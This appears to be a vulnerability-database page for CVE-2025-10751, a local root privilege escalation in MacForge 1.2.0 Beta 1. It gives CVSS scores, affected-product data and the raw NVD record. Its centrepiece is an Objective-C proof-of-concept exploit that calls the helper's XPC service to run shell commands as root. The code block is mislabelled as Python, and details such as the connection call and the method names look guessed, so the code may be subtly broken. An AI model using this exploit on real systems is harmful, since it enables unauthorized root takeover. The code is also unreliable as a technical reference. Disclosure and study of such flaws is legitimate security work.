Security Vulnerability Report
中文
CVE-2025-10751 CVSS 7.8 HIGH

CVE-2025-10751

Published: 2025-10-04 01:15:30
Last Modified: 2025-12-22 19:59:49

Description

MacForge contains an insecure XPC service that allows local, unprivileged users to escalate their privileges to root.This issue affects MacForge: 1.2.0 Beta 1.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:macenhance:macforge:1.20:beta1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
MacForge 1.2.0 Beta 1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-10751 - MacForge Insecure XPC Service Privilege Escalation PoC // This PoC demonstrates how a local unprivileged user can exploit the // insecure XPC service in MacForge 1.2.0 Beta 1 to escalate privileges to root. // // Note: Requires linking against Foundation framework. // Compile: clang -framework Foundation exploit.m -o exploit #import <Foundation/Foundation.h> // Mach service name of the vulnerable MacForge XPC service static NSString * const kMacForgeXPCServiceName = @"com.macenhance.MacForge.helper"; // XPC interface protocol - methods exposed by the privileged helper @protocol MacForgeHelperProtocol - (void)executeCommand:(NSString *)command withReply:(void (^)(NSString *output, NSError *error))reply; - (void)installPluginAtPath:(NSString *)path withReply:(void (^)(BOOL success, NSError *error))reply; @end int main(int argc, const char * argv[]) { @autoreleasepool { NSLog(@"[*] CVE-2025-10751 - MacForge XPC Privilege Escalation PoC"); // Step 1: Create a connection to the vulnerable XPC service NSXPCConnection *connection = [[NSXPCConnection alloc] initWithServiceName:kMacForgeXPCServiceName]; // Step 2: Set the remote object interface (no validation required by the service) connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MacForgeHelperProtocol)]; // Step 3: Resume the connection (establishes Mach port communication) [connection resume]; NSLog(@"[*] Connected to MacForge XPC service"); // Step 4: Obtain proxy to the privileged helper object id<MacForgeHelperProtocol> proxy = [connection remoteObjectProxy]; // Step 5: Call privileged method to execute command as root // The vulnerable service does not verify the caller's identity, // so this command will execute with root privileges NSString *cmd = @"/bin/sh -c 'id > /tmp/pwned_by_cve_2025_10751.txt; whoami >> /tmp/pwned_by_cve_2025_10751.txt'"; [proxy executeCommand:cmd withReply:^(NSString *output, NSError *error) { if (error) { NSLog(@"[-] Error: %@", error); } else { NSLog(@"[+] Command output: %@", output); NSLog(@"[+] Privilege escalation successful! Check /tmp/pwned_by_cve_2025_10751.txt"); } // Cleanup [connection invalidate]; exit(0); }]; // Keep the run loop alive for async reply [[NSRunLoop mainRunLoop] run]; } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10751", "sourceIdentifier": "[email protected]", "published": "2025-10-04T01:15:29.800", "lastModified": "2025-12-22T19:59:48.520", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MacForge contains an insecure XPC service that allows local, unprivileged users to escalate their privileges to root.This issue affects MacForge: 1.2.0 Beta 1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:macenhance:macforge:1.20:beta1:*:*:*:*:*:*", "matchCriteriaId": "749139BA-BB3E-4E8F-9B4D-F21B2DC4BEC4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://fluidattacks.com/advisories/m83", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/MacEnhance/MacForge", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.macenhance.com/macforge", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://fluidattacks.com/advisories/m83", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}